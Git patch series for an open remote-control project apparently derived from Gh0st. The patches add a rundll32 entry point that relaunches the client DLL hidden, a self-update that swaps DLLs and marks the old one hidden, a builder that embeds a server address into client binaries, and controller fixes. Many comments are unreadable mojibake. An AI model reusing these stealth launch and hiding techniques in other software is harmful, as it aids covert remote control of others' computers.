From 7df66348b3365d213d17bfb026f67939bf4e2fc8 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 29 Dec 2024 20:47:14 +0800 Subject: [PATCH 1/3] feat: Support `rundll32.exe` to call `ServerDll.dll` --- ReadMe.md | 2 +- client/ClientDll.cpp | 107 ++++++++++++++++++++++++++++++++- client/ExportFunTable.def | 1 + common/commands.h | 1 + server/2015Remote/BuildDlg.cpp | 29 +++++++-- 5 files changed, 133 insertions(+), 7 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index f70ea65..94a1508 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -299,7 +299,7 @@ reorg: Move commands to common/commands.h 增加显示被控程序"类型"的功能:如果被控程序为单个EXE则显示为"EXE",如果被控程序为EXE调用动态库形式,则显示为"DLL". 当前,只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。 - +在动态链接库中增加导出函数Run,以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 6541c75..1ad0c02 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -7,6 +7,13 @@ #include #include "LoginServer.h" #include "KernelManager.h" +#include +#include +#include +#include +#include +#include +#include using namespace std; // Զעеֵ @@ -165,7 +172,10 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { g_bExit = FALSE; - g_SETTINGS.SetServer(szServerIP, uPort); + if (strlen(szServerIP)>0 && uPort>0) + { + g_SETTINGS.SetServer(szServerIP, uPort); + } g_SETTINGS.SetType(CLIENT_TYPE_DLL); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); @@ -173,7 +183,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) return; } #ifdef _DEBUG - WaitForSingleObject(hThread, 200); + WaitForSingleObject(hThread, INFINITE); #else WaitForSingleObject(hThread, INFINITE); #endif @@ -189,6 +199,99 @@ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } // Ƿ˳ͻ extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; } +// copy from: SimpleRemoter\client\test.cpp +// µDLL +void RunNewDll(const char* cmdLine) { + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + *(p + 1) = 0; + std::string folder = path; + std::string oldFile = folder + "ServerDll.old"; + std::string newFile = folder + "ServerDll.new"; + strcpy(p + 1, "ServerDll.dll"); + BOOL ok = TRUE; + if (_access(newFile.c_str(), 0) != -1) { + if (_access(oldFile.c_str(), 0) != -1) + { + if (!DeleteFileA(oldFile.c_str())) + { + std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl; + ok = FALSE; + } + } + if (ok && !MoveFileA(path, oldFile.c_str())) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + if (_access(path, 0) != -1) + { + ok = FALSE; + } + } + else { + // ļΪ + if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) + { + std::cout << "File created and set to hidden: " << oldFile << std::endl; + } + } + if (ok && !MoveFileA(newFile.c_str(), path)) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + MoveFileA(oldFile.c_str(), path);// recover + } + else if (ok) { + std::cout << "Using new file: " << newFile << std::endl; + } + } + char cmd[1024]; + sprintf_s(cmd, "%s,Run %s", path, cmdLine); + ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE); +} + +/* пͻ˵ĺĴ. Ϊ嵼, rundll32 Լ. +HWND hwnd: ھͨΪ NULL +HINSTANCE hinst: DLL ʵ +LPSTR lpszCmdLine: вΪַݸ +int nCmdShow: ʾ״̬ +rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543 +ȴвжȡַָʹȫֱȡ +*/ +extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { + char message[256] = { 0 }; + if (strlen(lpszCmdLine) != 0) { + strcpy_s(message, lpszCmdLine); + }else if (g_SETTINGS.IsValid()) + { + sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + } + + std::istringstream stream(message); + std::string item; + std::vector result; + while (std::getline(stream, item, ':')) { + result.push_back(item); + } + if (result.size() == 1) + { + result.push_back("80"); + } + if (result.size() != 2) { + MessageBox(hwnd, "ṩȷַ!", "ʾ", MB_OK); + return; + } + + do + { + TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); + while (!IsStoped()) + Sleep(20); + } while (!IsExit()); + if (IsExit() == 1) + return; + sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + RunNewDll(message); +} + #endif DWORD WINAPI StartClient(LPVOID lParam) diff --git a/client/ExportFunTable.def b/client/ExportFunTable.def index 5124b6c..0986979 100644 --- a/client/ExportFunTable.def +++ b/client/ExportFunTable.def @@ -1,3 +1,4 @@ EXPORTS TestRun StopRun + Run diff --git a/common/commands.h b/common/commands.h index bb31deb..e7687f4 100644 --- a/common/commands.h +++ b/common/commands.h @@ -140,6 +140,7 @@ enum #define CLIENT_TYPE_DLL 0 // ͻ˴DLL #define CLIENT_TYPE_ONE 1 // ͻ˴ԵEXE +#define CLIENT_TYPE_MODULE 2 // DLLⲿ // ӵسϢ typedef struct CONNECT_ADDRESS diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index e01bcce..801c683 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -54,7 +54,21 @@ void CBuildDlg::OnBnClickedOk() DWORD dwFileSize; UpdateData(TRUE); int index = m_ComboExe.GetCurSel(); - CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : ""); + CString file; + switch (index) + { + case CLIENT_TYPE_DLL: + file = "TestRun.exe"; + break; + case CLIENT_TYPE_ONE: + file = "ghost.exe"; + break; + case CLIENT_TYPE_MODULE: + file = "ServerDll.dll"; + break; + default: + break; + } if (file.IsEmpty()) { MessageBox("Ч, ɷ!"); @@ -107,7 +121,13 @@ void CBuildDlg::OnBnClickedOk() } memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); //浽ļ - strcpy(p+1, "ClientDemo.exe"); + if (index == CLIENT_TYPE_MODULE) + { + strcpy(p + 1, "ClientDemo.dll"); + } + else { + strcpy(p + 1, "ClientDemo.exe"); + } strSeverFile = path; DeleteFileA(path); BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); @@ -157,8 +177,9 @@ BOOL CBuildDlg::OnInitDialog() CDialog::OnInitDialog(); // TODO: ڴӶijʼ - m_ComboExe.InsertString(0, "TestRun.exe"); - m_ComboExe.InsertString(1, "ghost.exe"); + m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe"); + m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe"); + m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); m_ComboExe.SetCurSel(0); return TRUE; // return TRUE unless you set the focus to a control From 37d96a7f66c955ad8190cda755c111b0483c672e Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 29 Dec 2024 22:13:37 +0800 Subject: [PATCH 2/3] improve: Click close button to hide application --- server/2015Remote/2015RemoteDlg.cpp | 37 ++++++++++++++++++++--------- server/2015Remote/2015RemoteDlg.h | 5 ++-- 2 files changed, 29 insertions(+), 13 deletions(-) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 36d323f..a555051 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -198,10 +198,10 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) { if (IsIconic()) { - ShowWindow(SW_NORMAL); + ShowWindow(SW_SHOW); break; } - ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOWNORMAL); + ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW); SetForegroundWindow(); break; } @@ -431,7 +431,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog() CreateSolidMenu(); - ListenPort(); + if (!ListenPort()) { + OnCancel(); + return FALSE; + } #if !INDEPENDENT ShowWindow(SW_SHOW); @@ -571,6 +574,13 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnClose() { + // شڶǹر + ShowWindow(SW_HIDE); + OutputDebugStringA("======> Hide\n"); +} + +void CMy2015RemoteDlg::Release(){ + OutputDebugStringA("======> Release\n"); isClosed = TRUE; ShowWindow(SW_HIDE); #if INDEPENDENT @@ -620,7 +630,6 @@ void CMy2015RemoteDlg::OnClose() m_iocpServer = NULL; } timeEndPeriod(1); - CDialogEx::OnClose(); } @@ -836,13 +845,15 @@ VOID CMy2015RemoteDlg::OnAbout() //Menu void CMy2015RemoteDlg::OnNotifyShow() { - ShowWindow(SW_SHOW); + BOOL v= IsWindowVisible(); + ShowWindow(v? SW_HIDE : SW_SHOW); } void CMy2015RemoteDlg::OnNotifyExit() { - SendMessage(WM_CLOSE); + Release(); + CDialogEx::OnOK(); // رնԻ } @@ -857,11 +868,11 @@ void CMy2015RemoteDlg::OnMainSet() void CMy2015RemoteDlg::OnMainExit() { - // TODO: ڴ - SendMessage(WM_CLOSE); + Release(); + CDialogEx::OnOK(); // رնԻ } -VOID CMy2015RemoteDlg::ListenPort() +BOOL CMy2015RemoteDlg::ListenPort() { int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); //ȡini ļеļ˿ @@ -871,11 +882,11 @@ VOID CMy2015RemoteDlg::ListenPort() nPort = 6543; if (nMaxConnection <= 0) nMaxConnection = 10000; - Activate(nPort,nMaxConnection); //ʼ + return Activate(nPort,nMaxConnection); //ʼ } -VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) +BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) { m_iocpServer = new IOCPServer; //̬ǵ UINT ret = 0; @@ -885,11 +896,15 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) char code[32]; sprintf_s(code, "%d", ret); MessageBox("úStartServerʧ! :"+CString(code)); + delete m_iocpServer; + m_iocpServer = NULL; + return FALSE; } CString strTemp; strTemp.Format("˿: %dɹ", nPort); ShowMessage(true,strTemp); + return TRUE; } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 3ebce0b..6f26b7e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -53,8 +53,8 @@ public: VOID CreateToolBar(); VOID CreateNotifyBar(); VOID CreateSolidMenu(); - VOID ListenPort(); - VOID Activate(int nPort,int nMaxConnection); + BOOL ListenPort(); + BOOL Activate(int nPort,int nMaxConnection); static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); @@ -75,6 +75,7 @@ public: CBitmap m_bmOnline[3]; afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); + void Release(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnOnlineMessage(); From 01d11f5fa30c0dda6868cbc0f2334dae2bd8ac42 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 29 Dec 2024 23:33:33 +0800 Subject: [PATCH 3/3] fix: OVERLAPPEDPLUS memory leak when exit controller --- server/2015Remote/IOCPServer.cpp | 2 ++ server/2015Remote/IOCPServer.h | 9 +++++---- server/2015Remote/stdafx.h | 6 ++++++ 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 2e3eb2a..4c56bea 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -3,6 +3,7 @@ #include "2015Remote.h" #include + #if USING_ZLIB #include "zlib.h" #define Z_FAILED(p) (Z_OK != (p)) @@ -113,6 +114,7 @@ IOCPServer::~IOCPServer(void) { CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.GetHead(); RemoveStaleContext(ContextObject); + SAFE_DELETE(ContextObject->olps); } while (!m_ContextFreePoolList.IsEmpty()) diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index b2fd83c..b5a0630 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -138,6 +138,7 @@ protected: CRITICAL_SECTION* m_cs; }; +#define TRACK_OVERLAPPEDPLUS 0 class OVERLAPPEDPLUS { @@ -148,9 +149,9 @@ public: OVERLAPPEDPLUS(IOType ioType) { -#if 0 +#if TRACK_OVERLAPPEDPLUS char szLog[100]; - sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId()); + sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); OutputDebugStringA(szLog); #endif ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); @@ -159,9 +160,9 @@ public: ~OVERLAPPEDPLUS() { -#if 0 +#if TRACK_OVERLAPPEDPLUS char szLog[100]; - sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId()); + sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); OutputDebugStringA(szLog); #endif } diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 633ef72..46ecc37 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -38,6 +38,12 @@ // VS2017ǰ汾VLD: https://kinddragon.github.io/vld // VS2019ʹõVLD֧VS汾, Ƽ: https://github.com/oneiric/vld/releases/tag/v2.7.0 // Ҫܿض˳ŵ, ʹReleaseģʽɵij, ԽVLD; ҪVLDļһͬ. +// VLDʾй¶׷ٲ˺öջʹ÷ŷԶءԳʱ +// ȷĵԹߣ Visual Studio WinDbg˷ŷ +// ŷԶȱʧķļ dbghelp.pdb仺浽ط· +// ÷ŷ Visual Studio Ϊ Visual Studio У > ѡ > š +// ѡ Microsoft Symbol Servers. ָŻĿ¼ "C:\Symbols" +// ʱȱʧķţ dbghelp.pdbԶصĿ¼ #include "vld.h" #include "targetver.h"